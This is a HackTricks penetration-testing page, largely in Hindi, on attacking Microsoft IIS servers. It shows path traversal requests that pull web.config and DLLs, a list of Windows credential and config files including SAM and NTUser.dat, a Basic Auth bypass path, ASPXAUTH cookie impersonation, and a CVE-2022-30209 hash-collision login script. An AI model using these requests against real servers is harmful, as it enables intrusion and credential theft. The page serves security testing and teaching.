hacktricks/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md

20 KiB
Raw Blame History

IIS - Internet Information Services

{{#include ../../banners/hacktricks-training.md}}

परीक्षण निष्पादन योग्य फ़ाइल एक्सटेंशन:

  • asp
  • aspx
  • config
  • php

आंतरिक IP पता लीक

किसी भी IIS सर्वर पर जहाँ आपको 302 मिलता है, आप होस्ट हेडर को हटाने और HTTP/1.0 का उपयोग करने की कोशिश कर सकते हैं और प्रतिक्रिया के अंदर स्थान हेडर आपको आंतरिक IP पते की ओर इंगित कर सकता है:

nc -v domain.com 80
openssl s_client -connect domain.com:443

आंतरिक IP का खुलासा करने वाली प्रतिक्रिया:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Execute .config files

आप .config फ़ाइलें अपलोड कर सकते हैं और उनका उपयोग कोड निष्पादित करने के लिए कर सकते हैं। इसे करने का एक तरीका फ़ाइल के अंत में HTML टिप्पणी के अंदर कोड जोड़ना है: Download example here

इस भेद्यता का शोषण करने के लिए अधिक जानकारी और तकनीकें यहां हैं।

IIS Discovery Bruteforce

डाउनलोड करें सूची जो मैंने बनाई है:

{% file src="../../images/iisfinal.txt" %}

यह निम्नलिखित सूचियों की सामग्री को मिलाकर बनाई गई थी:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

इसे बिना किसी एक्सटेंशन के उपयोग करें, जिन फ़ाइलों को इसकी आवश्यकता है, उनमें पहले से ही है।

Path Traversal

Leaking source code

पूर्ण लेखन की जांच करें: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Note

संक्षेप में, एप्लिकेशन के फ़ोल्डरों के अंदर कई web.config फ़ाइलें हैं जिनमें "assemblyIdentity" फ़ाइलों और "namespaces" के संदर्भ हैं। इस जानकारी के साथ यह जानना संभव है executables कहां स्थित हैं और उन्हें डाउनलोड करें।
डाउनलोड की गई Dlls से यह भी संभव है नए namespaces खोजने के लिए जहां आपको पहुंचने का प्रयास करना चाहिए और web.config फ़ाइल प्राप्त करनी चाहिए ताकि नए namespaces और assemblyIdentity मिल सकें।
इसके अलावा, फ़ाइलें connectionstrings.config और global.asax दिलचस्प जानकारी रख सकती हैं।\

.Net MVC अनुप्रयोगों में, web.config फ़ाइल एक महत्वपूर्ण भूमिका निभाती है, जो प्रत्येक बाइनरी फ़ाइल को निर्दिष्ट करती है जिस पर एप्लिकेशन निर्भर करता है "assemblyIdentity" XML टैग के माध्यम से।

Exploring Binary Files

web.config फ़ाइल तक पहुंचने का एक उदाहरण नीचे दिखाया गया है:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

यह अनुरोध विभिन्न सेटिंग्स और निर्भरताओं को प्रकट करता है, जैसे:

  • EntityFramework संस्करण
  • AppSettings वेबपेज, क्लाइंट मान्यता, और JavaScript के लिए
  • System.web प्रमाणीकरण और रनटाइम के लिए कॉन्फ़िगरेशन
  • System.webServer मॉड्यूल सेटिंग्स
  • Runtime असेंबली बाइंडिंग्स कई पुस्तकालयों के लिए जैसे Microsoft.Owin, Newtonsoft.Json, और System.Web.Mvc

ये सेटिंग्स यह संकेत देती हैं कि कुछ फ़ाइलें, जैसे /bin/WebGrease.dll, अनुप्रयोग के /bin फ़ोल्डर के भीतर स्थित हैं।

रूट डायरेक्टरी फ़ाइलें

रूट डायरेक्टरी में पाई जाने वाली फ़ाइलें, जैसे /global.asax और /connectionstrings.config (जो संवेदनशील पासवर्ड रखती हैं), अनुप्रयोग की कॉन्फ़िगरेशन और संचालन के लिए आवश्यक हैं।

Namespaces और Web.Config

MVC अनुप्रयोग भी विशिष्ट नामस्थान के लिए अतिरिक्त web.config फ़ाइलें परिभाषित करते हैं ताकि प्रत्येक फ़ाइल में दोहरावदार घोषणाओं से बचा जा सके, जैसा कि एक अन्य web.config डाउनलोड करने के अनुरोध के साथ प्रदर्शित किया गया है:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

DLLs डाउनलोड करना

कस्टम नामस्थान का उल्लेख /bin निर्देशिका में मौजूद "WebApplication1" नामक DLL की ओर इशारा करता है। इसके बाद, WebApplication1.dll डाउनलोड करने के लिए एक अनुरोध दिखाया गया है:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

यह अन्य आवश्यक DLLs की उपस्थिति का सुझाव देता है, जैसे System.Web.Mvc.dll और System.Web.Optimization.dll, /bin निर्देशिका में।

एक परिदृश्य में जहां एक DLL एक नामस्थान आयात करता है जिसे WebApplication1.Areas.Minded कहा जाता है, एक हमलावर अन्य web.config फ़ाइलों के अस्तित्व का अनुमान लगा सकता है जो पूर्वानुमानित पथों में हैं, जैसे /area-name/Views/, जिसमें विशिष्ट कॉन्फ़िगरेशन और /bin फ़ोल्डर में अन्य DLLs के संदर्भ शामिल हैं। उदाहरण के लिए, /Minded/Views/web.config के लिए एक अनुरोध कॉन्फ़िगरेशन और नामस्थान प्रकट कर सकता है जो एक अन्य DLL, WebApplication1.AdditionalFeatures.dll की उपस्थिति को इंगित करता है।

सामान्य फ़ाइलें

From here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Error

यदि आप निम्नलिखित त्रुटि देखते हैं:

इसका मतलब है कि सर्वर ने Host header के अंदर सही डोमेन नाम नहीं प्राप्त किया
वेब पृष्ठ तक पहुँचने के लिए, आप सर्वर किए गए SSL Certificate को देख सकते हैं और शायद आप वहां डोमेन/सबडोमेन नाम पा सकते हैं। यदि यह वहाँ नहीं है, तो आपको सही एक को खोजने के लिए VHosts को ब्रूट फोर्स करने की आवश्यकता हो सकती है।

Old IIS vulnerabilities worth looking for

Microsoft IIS tilde character “~” Vulnerability/Feature Short File/Folder Name Disclosure

आप इस technique का उपयोग करके हर खोजे गए फ़ोल्डर के अंदर फोल्डर्स और फ़ाइलों को सूचीबद्ध करने की कोशिश कर सकते हैं (यहां तक कि यदि यह Basic Authentication की आवश्यकता है)।
यदि सर्वर कमजोर है, तो इस तकनीक की मुख्य सीमा यह है कि यह प्रत्येक फ़ाइल/फ़ोल्डर के नाम के पहले 6 अक्षरों और फ़ाइलों के एक्सटेंशन के पहले 3 अक्षरों को ही खोज सकती है

आप इस कमजोरी के लिए परीक्षण करने के लिए https://github.com/irsdl/IIS-ShortName-Scanner का उपयोग कर सकते हैं:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

मूल शोध: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

आप metasploit का भी उपयोग कर सकते हैं: use scanner/http/iis_shortname_scanner

खोजी गई फ़ाइलों के अंतिम नाम को खोजने के लिए एक अच्छा विचार है कि आप LLMs से विकल्प पूछें जैसे कि इसे स्क्रिप्ट https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py में किया गया है।

Basic Authentication bypass

Bypass एक बेसिक ऑथेंटिकेशन (IIS 7.5) को एक्सेस करने की कोशिश करते हुए: /admin:$i30:$INDEX_ALLOCATION/admin.php या /admin::$INDEX_ALLOCATION/admin.php

आप नए फोल्डर्स खोजने और ऑथेंटिकेशन को बायपास करने के लिए इस vulnerability और पिछले वाले को मिश्रित करने की कोशिश कर सकते हैं।

ASP.NET Trace.AXD enabled debugging

ASP.NET में एक डिबगिंग मोड शामिल है और इसका फ़ाइल नाम trace.axd है।

यह एक निश्चित समय अवधि के भीतर एक एप्लिकेशन के लिए किए गए सभी अनुरोधों का बहुत विस्तृत लॉग रखता है।

इस जानकारी में दूरस्थ क्लाइंट IP, सत्र आईडी, सभी अनुरोध और प्रतिक्रिया कुकीज़, भौतिक पथ, स्रोत कोड की जानकारी, और संभावित रूप से उपयोगकर्ता नाम और पासवर्ड शामिल हैं।

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH निम्नलिखित जानकारी का उपयोग करता है:

  • validationKey (string): हस्ताक्षर सत्यापन के लिए उपयोग करने के लिए हेक्स-कोडित कुंजी।
  • decryptionMethod (string): (डिफ़ॉल्ट “AES”)।
  • decryptionIV (string): हेक्स-कोडित प्रारंभिक वेक्टर (डिफ़ॉल्ट शून्य वेक्टर)।
  • decryptionKey (string): डिक्रिप्शन के लिए उपयोग करने के लिए हेक्स-कोडित कुंजी।

हालांकि, कुछ लोग इन पैरामीटर के डिफ़ॉल्ट मानों का उपयोग करेंगे और कुकी के रूप में उपयोगकर्ता का ईमेल का उपयोग करेंगे। इसलिए, यदि आप एक वेब खोज सकते हैं जो ASPXAUTH कुकी का उपयोग कर रहा है और आप हमले के तहत सर्वर पर उस उपयोगकर्ता के ईमेल के साथ एक उपयोगकर्ता बनाते हैं, तो आप पहले सर्वर में दूसरे सर्वर की कुकी का उपयोग करके उपयोगकर्ता का प्रतिरूपण कर सकते हैं।
यह हमला इस writeup में काम किया।

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here: कोड में एक बग उपयोगकर्ता द्वारा दिए गए पासवर्ड की सही जांच नहीं करता, इसलिए एक हमलावर जिसका पासवर्ड हैश एक कुंजी पर हिट करता है जो पहले से ही कैश में है, उस उपयोगकर्ता के रूप में लॉगिन करने में सक्षम होगा।

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

{{#include ../../banners/hacktricks-training.md}}